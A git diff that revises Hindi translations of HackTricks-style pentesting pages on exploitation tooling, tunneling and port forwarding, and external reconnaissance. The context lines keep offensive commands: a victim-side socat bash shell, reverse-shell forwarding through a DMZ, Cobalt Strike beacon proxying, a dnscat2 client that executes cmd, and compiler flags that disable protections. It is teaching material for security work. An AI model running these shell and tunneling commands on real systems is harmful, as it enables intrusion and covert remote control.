diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 38c5f28a4..d1595a8c7 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -1,4 +1,4 @@ -# उपकरणों का शोषण +# Exploiting Tools {{#include ../../../banners/hacktricks-training.md}} @@ -74,7 +74,7 @@ x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) -आप वैकल्पिक रूप से [**GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) का **यह फोर्क** उपयोग कर सकते हैं जिसमें अधिक दिलचस्प निर्देश शामिल हैं। +आप वैकल्पिक रूप से [**GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) की इस फोर्क का उपयोग कर सकते हैं जिसमें अधिक दिलचस्प निर्देश शामिल हैं। ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -131,8 +131,8 @@ gef➤ pattern search 0x6261617762616176 #### फ़ंक्शंस को खोजने के लिए बैकट्रेस -जब आपके पास एक **स्थैतिक रूप से लिंक की गई बाइनरी** होती है, तो सभी फ़ंक्शन बाइनरी से संबंधित होंगे (और बाहरी पुस्तकालयों से नहीं)। इस मामले में, **उपयोगकर्ता इनपुट मांगने के लिए बाइनरी द्वारा अनुसरण किए जाने वाले प्रवाह की पहचान करना कठिन होगा।**\ -आप इस प्रवाह की पहचान आसानी से कर सकते हैं **gdb** के साथ बाइनरी को **चलाकर** जब तक कि आप इनपुट के लिए नहीं पूछे जाते। फिर, इसे **CTRL+C** के साथ रोकें और **`bt`** (**बैकट्रेस**) कमांड का उपयोग करें ताकि आप कॉल किए गए फ़ंक्शंस को देख सकें: +जब आपके पास एक **स्थैतिक रूप से लिंक की गई बाइनरी** होती है, तो सभी फ़ंक्शन बाइनरी से संबंधित होंगे (और बाहरी पुस्तकालयों से नहीं)। इस मामले में, **उपयोगकर्ता इनपुट के लिए पूछने के लिए बाइनरी द्वारा अनुसरण किए जाने वाले प्रवाह की पहचान करना कठिन होगा।**\ +आप इस प्रवाह की पहचान आसानी से कर सकते हैं **gdb** के साथ बाइनरी को **चलाकर** जब तक कि आप इनपुट के लिए नहीं पूछे जाते। फिर, इसे **CTRL+C** के साथ रोकें और **`bt`** (**बैकट्रेस**) कमांड का उपयोग करें ताकि आप देख सकें कि कौन से फ़ंक्शन कॉल किए गए हैं: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -150,8 +150,8 @@ gef➤ bt ### स्टैक ऑफसेट खोजें **Ghidra** **स्थानीय चर की स्थिति के बारे में जानकारी के लिए** **बफर ओवरफ्लो के लिए ऑफसेट** खोजने में बहुत उपयोगी है।\ -उदाहरण के लिए, नीचे दिए गए उदाहरण में, `local_bc` में एक बफर प्रवाह इंगित करता है कि आपको `0xbc` का ऑफसेट चाहिए। इसके अलावा, यदि `local_10` एक कैनरी कुकी है, तो यह इंगित करता है कि इसे `local_bc` से ओवरराइट करने के लिए `0xac` का ऑफसेट है।\ -&#xNAN;_Remember कि पहले 0x08 से जहां RIP सहेजा गया है, वह RBP से संबंधित है।_ +उदाहरण के लिए, नीचे दिए गए उदाहरण में, `local_bc` में एक बफर प्रवाह यह संकेत करता है कि आपको `0xbc` का ऑफसेट चाहिए। इसके अलावा, यदि `local_10` एक कैनरी कुकी है, तो यह संकेत करता है कि इसे `local_bc` से ओवरराइट करने के लिए `0xac` का ऑफसेट है।\ +_Remember कि RIP को सहेजने से पहले का पहला 0x08 RBP का है।_ ![](<../../../images/image (1061).png>) @@ -164,8 +164,8 @@ Get every opcode executed in the program. ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> सुरक्षा के बिना संकलित करें\ -&#xNAN;**-o** --> आउटपुट\ -&#xNAN;**-g** --> कोड सहेजें (GDB इसे देख सकेगा)\ +**-o** --> आउटपुट\ +**-g** --> कोड सहेजें (GDB इसे देख सकेगा)\ **echo 0 > /proc/sys/kernel/randomize_va_space** --> लिनक्स में ASLR को निष्क्रिय करने के लिए **एक शेलकोड संकलित करने के लिए:**\ @@ -174,14 +174,14 @@ Get every opcode executed in the program. ## Objdump -**-d** --> **निष्पादन योग्य** अनुभागों को असेंबल करें (संकलित शेलकोड के ऑपकोड देखें, ROP गैजेट्स खोजें, फ़ंक्शन का पता लगाएं...)\ -&#xNAN;**-Mintel** --> **Intel** सिंटैक्स\ -&#xNAN;**-t** --> **सिंबल्स** तालिका\ -&#xNAN;**-D** --> **सभी को असेंबल करें** (स्थिर चर का पता)\ -&#xNAN;**-s -j .dtors** --> dtors अनुभाग\ -&#xNAN;**-s -j .got** --> got अनुभाग\ +**-d** --> **निष्पादन योग्य** अनुभागों को असेंबल करें (संकलित शेलकोड के ऑपकोड देखें, ROP Gadgets खोजें, फ़ंक्शन का पता लगाएं...)\ +**-Mintel** --> **इंटेल** सिंटैक्स\ +**-t** --> **सिंबल्स** तालिका\ +**-D** --> **सभी को असेंबल करें** (स्थिर चर का पता)\ +**-s -j .dtors** --> dtors अनुभाग\ +**-s -j .got** --> got अनुभाग\ -D -s -j .plt --> **plt** अनुभाग **डीकंपाइल**\ -&#xNAN;**-TR** --> **रिलोकेशन**\ +**-TR** --> **रिलोकेशन**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> GOT में संशोधन के लिए "puts" का पता\ **objdump -D ./exec | grep "VAR_NAME"** --> एक स्थिर चर का पता (ये DATA अनुभाग में संग्रहीत होते हैं)। @@ -208,7 +208,7 @@ Get every opcode executed in the program. ``` ## IDA -### दूरस्थ लिनक्स में डिबगिंग +### Debugging in remote linux IDA फ़ोल्डर के अंदर आप बाइनरी पा सकते हैं जिन्हें लिनक्स के अंदर एक बाइनरी को डिबग करने के लिए उपयोग किया जा सकता है। ऐसा करने के लिए बाइनरी `linux_server` या `linux_server64` को लिनक्स सर्वर के अंदर ले जाएं और उस फ़ोल्डर के अंदर चलाएं जिसमें बाइनरी है: ``` diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index b4f9e0da9..22547477e 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,8 +1,8 @@ -# टनलिंग और पोर्ट फॉरवर्डिंग +# Tunneling and Port Forwarding {{#include ../banners/hacktricks-training.md}} -## Nmap टिप +## Nmap tip > [!WARNING] > **ICMP** और **SYN** स्कैन को सॉक्स प्रॉक्सी के माध्यम से टनल नहीं किया जा सकता, इसलिए हमें **पिंग डिस्कवरी** को **अक्षम** करना होगा (`-Pn`) और इसके काम करने के लिए **TCP स्कैन** (`-sT`) निर्दिष्ट करना होगा। @@ -55,9 +55,9 @@ sudo ssh -L 631::631 -N -f -l ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` -### रिवर्स पोर्ट फॉरवर्डिंग +### Reverse Port Forwarding -यह आपके होस्ट के लिए एक DMZ के माध्यम से आंतरिक होस्ट से रिवर्स शेल प्राप्त करने के लिए उपयोगी है: +यह आंतरिक होस्ट से DMZ के माध्यम से आपके होस्ट पर रिवर्स शेल प्राप्त करने के लिए उपयोगी है: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS proxy -टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा है जिसे **बीकन के माध्यम से ट्रैफ़िक को रूट करने** के लिए उपयोग किया जा सकता है। +टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा हो जिसे **बिकन के माध्यम से ट्रैफ़िक को रूट करने के लिए** उपयोग किया जा सके। ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -150,16 +150,16 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` -नोट करने के लिए: +To note: -- Beacon का रिवर्स पोर्ट फॉरवर्ड **टीम सर्वर के लिए ट्रैफ़िक को टनल करने के लिए डिज़ाइन किया गया है, व्यक्तिगत मशीनों के बीच रिले करने के लिए नहीं**। +- Beacon's reverse port forward is designed to **ट्रैफ़िक को Team Server तक टनल करने के लिए, व्यक्तिगत मशीनों के बीच रिले करने के लिए नहीं**। - ट्रैफ़िक **Beacon के C2 ट्रैफ़िक के भीतर टनल किया जाता है**, जिसमें P2P लिंक शामिल हैं। -- **उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए प्रशासनिक विशेषाधिकारों की आवश्यकता नहीं है**। +- **प्रशासक विशेषाधिकारों की आवश्यकता नहीं है** उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए। -### rPort2Port स्थानीय +### rPort2Port local > [!WARNING] -> इस मामले में, **पोर्ट बीकन होस्ट में खोला जाता है**, टीम सर्वर में नहीं और **ट्रैफ़िक को कोबाल्ट स्ट्राइक क्लाइंट** (टीम सर्वर को नहीं) पर भेजा जाता है और वहां से निर्दिष्ट होस्ट:पोर्ट पर भेजा जाता है। +> इस मामले में, **पोर्ट beacon होस्ट में खोला जाता है**, Team Server में नहीं और **ट्रैफ़िक Cobalt Strike क्लाइंट को भेजा जाता है** (Team Server को नहीं) और वहां से निर्दिष्ट होस्ट:पोर्ट पर। ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] @@ -272,7 +272,7 @@ victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` -### Port2Port socks के माध्यम से +### Port2Port through socks ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` @@ -346,7 +346,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 आपको **सिस्टम पर RDP एक्सेस** होना चाहिए।\ डाउनलोड करें: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - यह टूल Windows की Remote Desktop Service फीचर से `Dynamic Virtual Channels` (`DVC`) का उपयोग करता है। DVC **RDP कनेक्शन के माध्यम से पैकेट्स को टनलिंग** के लिए जिम्मेदार है। +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - यह उपकरण Windows की Remote Desktop Service सुविधा से `Dynamic Virtual Channels` (`DVC`) का उपयोग करता है। DVC **RDP कनेक्शन के माध्यम से पैकेट्स को टनलिंग** के लिए जिम्मेदार है। 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) अपने क्लाइंट कंप्यूटर में **`SocksOverRDP-Plugin.dll`** को इस तरह लोड करें: @@ -354,7 +354,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -अब हम **RDP** के माध्यम से **`mstsc.exe`** का उपयोग करके **शिकार** से **जुड़** सकते हैं, और हमें एक **प्रॉम्प्ट** प्राप्त होना चाहिए जो कहता है कि **SocksOverRDP प्लगइन सक्षम है**, और यह **127.0.0.1:1080** पर **सुन** रहा होगा। +अब हम **RDP** के माध्यम से **`mstsc.exe`** का उपयोग करके **शिकार** से **जुड़ सकते** हैं, और हमें एक **प्रॉम्प्ट** प्राप्त होना चाहिए जो कहता है कि **SocksOverRDP प्लगइन सक्षम है**, और यह **127.0.0.1:1080** पर **सुन** रहा होगा। **RDP** के माध्यम से **जुड़ें** और शिकार मशीन में `SocksOverRDP-Server.exe` बाइनरी अपलोड और निष्पादित करें: ``` @@ -364,7 +364,7 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` netstat -antb | findstr 1080 ``` -अब आप [**Proxifier**](https://www.proxifier.com/) **का उपयोग उस पोर्ट के माध्यम से ट्रैफ़िक को प्रॉक्सी करने के लिए कर सकते हैं।** +अब आप [**Proxifier**](https://www.proxifier.com/) **का उपयोग करके उस पोर्ट के माध्यम से ट्रैफ़िक को प्रॉक्सी कर सकते हैं।** ## Windows GUI ऐप्स को प्रॉक्सी करें @@ -384,7 +384,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) यह एक प्रॉक्सी के खिलाफ प्रमाणीकरण करता है और एक पोर्ट को स्थानीय रूप से बाइंड करता है जो आप द्वारा निर्दिष्ट बाहरी सेवा की ओर अग्रेषित होता है। फिर, आप इस पोर्ट के माध्यम से अपनी पसंद के उपकरण का उपयोग कर सकते हैं।\ -उदाहरण के लिए, वह पोर्ट 443 को अग्रेषित करें। +उदाहरण के लिए, वह पोर्ट 443 को अग्रेषित करता है। ``` Username Alice Password P@ssw0rd @@ -392,7 +392,7 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -अब, यदि आप उदाहरण के लिए पीड़ित पर **SSH** सेवा को पोर्ट 443 पर सुनने के लिए सेट करते हैं। आप इसे हमलावर पोर्ट 2222 के माध्यम से कनेक्ट कर सकते हैं।\ +अब, यदि आप पीड़ित पर **SSH** सेवा को पोर्ट 443 पर सुनने के लिए सेट करते हैं। आप इसे हमलावर पोर्ट 2222 के माध्यम से कनेक्ट कर सकते हैं।\ आप एक **meterpreter** का भी उपयोग कर सकते हैं जो localhost:443 से कनेक्ट होता है और हमलावर पोर्ट 2222 पर सुन रहा है। ## YARP @@ -430,7 +430,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` #### **PowerShell में** -आप [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) का उपयोग करके powershell में dnscat2 क्लाइंट चला सकते हैं: +आप [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) का उपयोग करके PowerShell में dnscat2 क्लाइंट चला सकते हैं: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd @@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **एक उपकरण है जो एक कमांड लाइन में समाधानों को इंटरनेट पर उजागर करता है।**\ -&#xNAN;_Exposition URI इस तरह हैं:_ **UID.ngrok.io** +_Exposition URI इस तरह हैं:_ **UID.ngrok.io** ### Installation @@ -492,13 +492,13 @@ chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` -### मूल उपयोग +### Basic usages -**दस्तावेज़ीकरण:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). +**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). _यदि आवश्यक हो, तो प्रमाणीकरण और TLS जोड़ना भी संभव है।_ -#### TCP टनलिंग +#### Tunneling TCP ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 @@ -511,12 +511,12 @@ _यदि आवश्यक हो, तो प्रमाणीकरण औ ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` -#### HTTP कॉल को स्निफ़ करना +#### HTTP कॉल की स्निफिंग _XSS, SSRF, SSTI ... के लिए उपयोगी_\ -stdout से सीधे या HTTP इंटरफ़ेस में [http://127.0.0.1:4040](http://127.0.0.1:4000)। +stdout से सीधे या HTTP इंटरफेस में [http://127.0.0.1:4040](http://127.0.0.1:4000)। -#### आंतरिक HTTP सेवा को टनल करना +#### आंतरिक HTTP सेवा का टनलिंग ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ @@ -528,7 +528,7 @@ stdout से सीधे या HTTP इंटरफ़ेस में [http: यह 3 टनल खोलता है: - 2 TCP -- 1 HTTP जो /tmp/httpbin/ से स्थिर फ़ाइलों का प्रदर्शन करता है +- 1 HTTP जिसमें /tmp/httpbin/ से स्थिर फ़ाइलों का प्रदर्शन होता है ```yaml tunnels: mytcp: diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index eef6028b5..5567afdc9 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -26,7 +26,7 @@ एक स्वायत्त प्रणाली संख्या (**ASN**) एक **विशिष्ट संख्या** है जो **इंटरनेट असाइन नंबर प्राधिकरण (IANA)** द्वारा एक **स्वायत्त प्रणाली** (AS) को असाइन की जाती है।\ एक **AS** में **IP पते** के **ब्लॉक** होते हैं जिनकी बाहरी नेटवर्क तक पहुँचने के लिए स्पष्ट रूप से परिभाषित नीति होती है और इसे एक ही संगठन द्वारा प्रशासित किया जाता है लेकिन यह कई ऑपरेटरों से मिलकर बन सकता है। -यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ एक **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\ +यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट्स** के खिलाफ एक **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\ आप कंपनी के **नाम**, **IP** या **डोमेन** द्वारा [**https://bgp.he.net/**](https://bgp.he.net)** पर **खोज** कर सकते हैं।\ **कंपनी के क्षेत्र के आधार पर ये लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तरी अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। वैसे, शायद सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में पहले से ही दिखाई देती है। ```bash @@ -57,20 +57,20 @@ bbot -t tesla.com -f subdomain-enum ### **कमजोरियों की तलाश** इस बिंदु पर हम **स्कोप के अंदर सभी संपत्तियों** को जानते हैं, इसलिए यदि आपको अनुमति है तो आप सभी होस्ट पर कुछ **कमजोरी स्कैनर** (Nessus, OpenVAS) लॉन्च कर सकते हैं।\ -इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **लॉन्च कर सकते हैं** या **खुले पोर्ट खोजने के लिए** shodan **जैसी सेवाओं का उपयोग कर सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का पेंटेस्ट करना है।**\ -**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को ब्रूटफोर्स करने की कोशिश कर सकते हैं।** +इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **या** shodan **जैसे सेवाओं का उपयोग कर सकते हैं** खुली पोर्ट **खोजने के लिए और जो कुछ भी आप पाते हैं उसके आधार पर आपको** इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का पेंटेस्ट करना है।\ +**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को ब्रूटफोर्स करने की कोशिश कर सकते हैं। ## डोमेन > हम स्कोप के अंदर सभी कंपनियों और उनकी संपत्तियों को जानते हैं, अब स्कोप के अंदर डोमेन खोजने का समय है। -_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी पा सकते हैं और उस जानकारी को कम नहीं आंका जाना चाहिए।_ +_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी पा सकते हैं और उस जानकारी को कम करके नहीं आंका जाना चाहिए।_ -सबसे पहले, आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की तलाश करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए _tesla.com_ होगा। +सबसे पहले, आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की तलाश करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए यह _tesla.com_ होगा। ### **रिवर्स DNS** -जैसा कि आपने डोमेन के सभी IP रेंज पा लिए हैं, आप उन **IPs पर अधिक डोमेन खोजने के लिए** **रिवर्स DNS लुकअप** करने की कोशिश कर सकते हैं। पीड़ित के कुछ DNS सर्वर या कुछ प्रसिद्ध DNS सर्वर (1.1.1.1, 8.8.8.8) का उपयोग करने की कोशिश करें। +जैसा कि आपने डोमेन के सभी IP रेंज पाए हैं, आप उन **IPs पर अधिक डोमेन खोजने के लिए** **रिवर्स DNS लुकअप** करने की कोशिश कर सकते हैं। पीड़ित के कुछ DNS सर्वर या कुछ प्रसिद्ध DNS सर्वर (1.1.1.1, 8.8.8.8) का उपयोग करने की कोशिश करें। ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -78,7 +78,7 @@ dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` इसका काम करने के लिए, व्यवस्थापक को मैन्युअल रूप से PTR सक्षम करना होगा।\ -आप इस जानकारी के लिए एक ऑनलाइन टूल भी उपयोग कर सकते हैं: [http://ptrarchive.com/](http://ptrarchive.com) +आप इस जानकारी के लिए एक ऑनलाइन टूल का भी उपयोग कर सकते हैं: [http://ptrarchive.com/](http://ptrarchive.com) ### **Reverse Whois (loop)** @@ -100,7 +100,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **Trackers** -यदि आप 2 विभिन्न पृष्ठों में **एक ही ट्रैकर का एक ही ID** पाते हैं, तो आप मान सकते हैं कि **दोनों पृष्ठ** **एक ही टीम द्वारा प्रबंधित** हैं।\ +यदि आप 2 अलग-अलग पृष्ठों में **एक ही ट्रैकर का एक ही ID** पाते हैं, तो आप मान सकते हैं कि **दोनों पृष्ठ** **एक ही टीम द्वारा प्रबंधित** हैं।\ उदाहरण के लिए, यदि आप कई पृष्ठों पर वही **Google Analytics ID** या वही **Adsense ID** देखते हैं। कुछ पृष्ठ और उपकरण हैं जो आपको इन ट्रैकर्स द्वारा खोजने की अनुमति देते हैं और अधिक: @@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **Favicon** -क्या आप जानते हैं कि हम एक ही फेविकॉन आइकन हैश की तलाश करके अपने लक्ष्य से संबंधित डोमेन और उप डोमेन पा सकते हैं? यह ठीक वही है जो [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) टूल [@m4ll0k2](https://twitter.com/m4ll0k2) द्वारा बनाया गया है। इसका उपयोग कैसे करें: +क्या आप जानते हैं कि हम एक ही favicon आइकन हैश की तलाश करके अपने लक्ष्य से संबंधित डोमेन और उप डोमेन पा सकते हैं? यह ठीक वही है जो [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) टूल करता है जिसे [@m4ll0k2](https://twitter.com/m4ll0k2) ने बनाया है। इसका उपयोग कैसे करें: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -155,21 +155,21 @@ return fhash ### मेल DMARC जानकारी -आप [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) जैसी वेबसाइट या [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) जैसे टूल का उपयोग करके **डोमेन और उपडोमेन जो समान DMARC जानकारी साझा करते हैं** खोज सकते हैं। +आप [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) जैसी वेबसाइट या [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) जैसे टूल का उपयोग करके **समान DMARC जानकारी साझा करने वाले डोमेन और उपडोमेन** खोज सकते हैं। ### **पैसिव टेकओवर** स्पष्ट रूप से यह सामान्य है कि लोग उपडोमेन को क्लाउड प्रदाताओं से संबंधित IPs को असाइन करते हैं और किसी बिंदु पर **उस IP पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाना भूल जाते हैं**। इसलिए, बस **क्लाउड में एक VM स्पॉन करना** (जैसे Digital Ocean) आप वास्तव में **कुछ उपडोमेन(s) पर कब्जा कर रहे होंगे**। -[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक स्टोर को समझाती है और एक स्क्रिप्ट का प्रस्ताव करती है जो **DigitalOcean में एक VM स्पॉन करती है**, **नए मशीन का** **IPv4** **प्राप्त करती है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करती है जो इसे इंगित करते हैं। +[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक कहानी बताती है और एक स्क्रिप्ट का प्रस्ताव करती है जो **DigitalOcean में एक VM स्पॉन करती है**, **नए मशीन का** **IPv4** **प्राप्त करती है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करती है जो इसे इंगित करते हैं। ### **अन्य तरीके** -**ध्यान दें कि आप इस तकनीक का उपयोग हर बार एक नया डोमेन खोजने पर अधिक डोमेन नाम खोजने के लिए कर सकते हैं।** +**ध्यान दें कि आप इस तकनीक का उपयोग हर बार एक नया डोमेन खोजने के लिए अधिक डोमेन नाम खोजने के लिए कर सकते हैं।** **Shodan** -जैसा कि आप पहले से ही IP स्पेस के मालिक संगठन का नाम जानते हैं। आप उस डेटा को shodan में खोज सकते हैं: `org:"Tesla, Inc."` TLS प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट की जांच करें। +जैसा कि आप पहले से ही IP स्पेस के मालिक संगठन का नाम जानते हैं। आप उस डेटा को शोडन में खोज सकते हैं: `org:"Tesla, Inc."` TLS प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट की जांच करें। आप मुख्य वेब पृष्ठ का **TLS प्रमाणपत्र** एक्सेस कर सकते हैं, **संगठन का नाम** प्राप्त कर सकते हैं और फिर **shodan** द्वारा ज्ञात सभी वेब पृष्ठों के **TLS प्रमाणपत्रों** के अंदर उस नाम की खोज कर सकते हैं जिसमें फ़िल्टर है: `ssl:"Tesla Motors"` या [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) जैसे टूल का उपयोग करें। @@ -181,17 +181,17 @@ return fhash कुछ [डोमेन टेकओवर](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) के लिए जांचें। शायद कोई कंपनी **किसी डोमेन का उपयोग कर रही है** लेकिन उन्होंने **स्वामित्व खो दिया है**। बस इसे रजिस्टर करें (यदि यह सस्ता है) और कंपनी को सूचित करें। -यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से अलग है**, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। जिस सेवा का संचालन हो रहा है, आप **इस पुस्तक में कुछ ट्रिक्स "हमला" करने के लिए** खोज सकते हैं।\ -&#xNAN;_Note कि कभी-कभी डोमेन एक ऐसे IP में होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ +यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से अलग है**, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में कुछ तरकीबें "हमले" करने के लिए** खोज सकते हैं।\ +_Note करें कि कभी-कभी डोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ ## उपडोमेन -> हम सभी कंपनियों को जानते हैं जो दायरे में हैं, प्रत्येक कंपनी की सभी संपत्तियों और कंपनियों से संबंधित सभी डोमेन को जानते हैं। +> हम सभी कंपनियों को जानते हैं जो दायरे में हैं, प्रत्येक कंपनी की सभी संपत्तियाँ और कंपनियों से संबंधित सभी डोमेन। यह समय है कि प्रत्येक पाए गए डोमेन के सभी संभावित उपडोमेन खोजें। > [!TIP] -> ध्यान दें कि कुछ टूल और तकनीकें जो डोमेन खोजने के लिए उपयोग की जाती हैं, 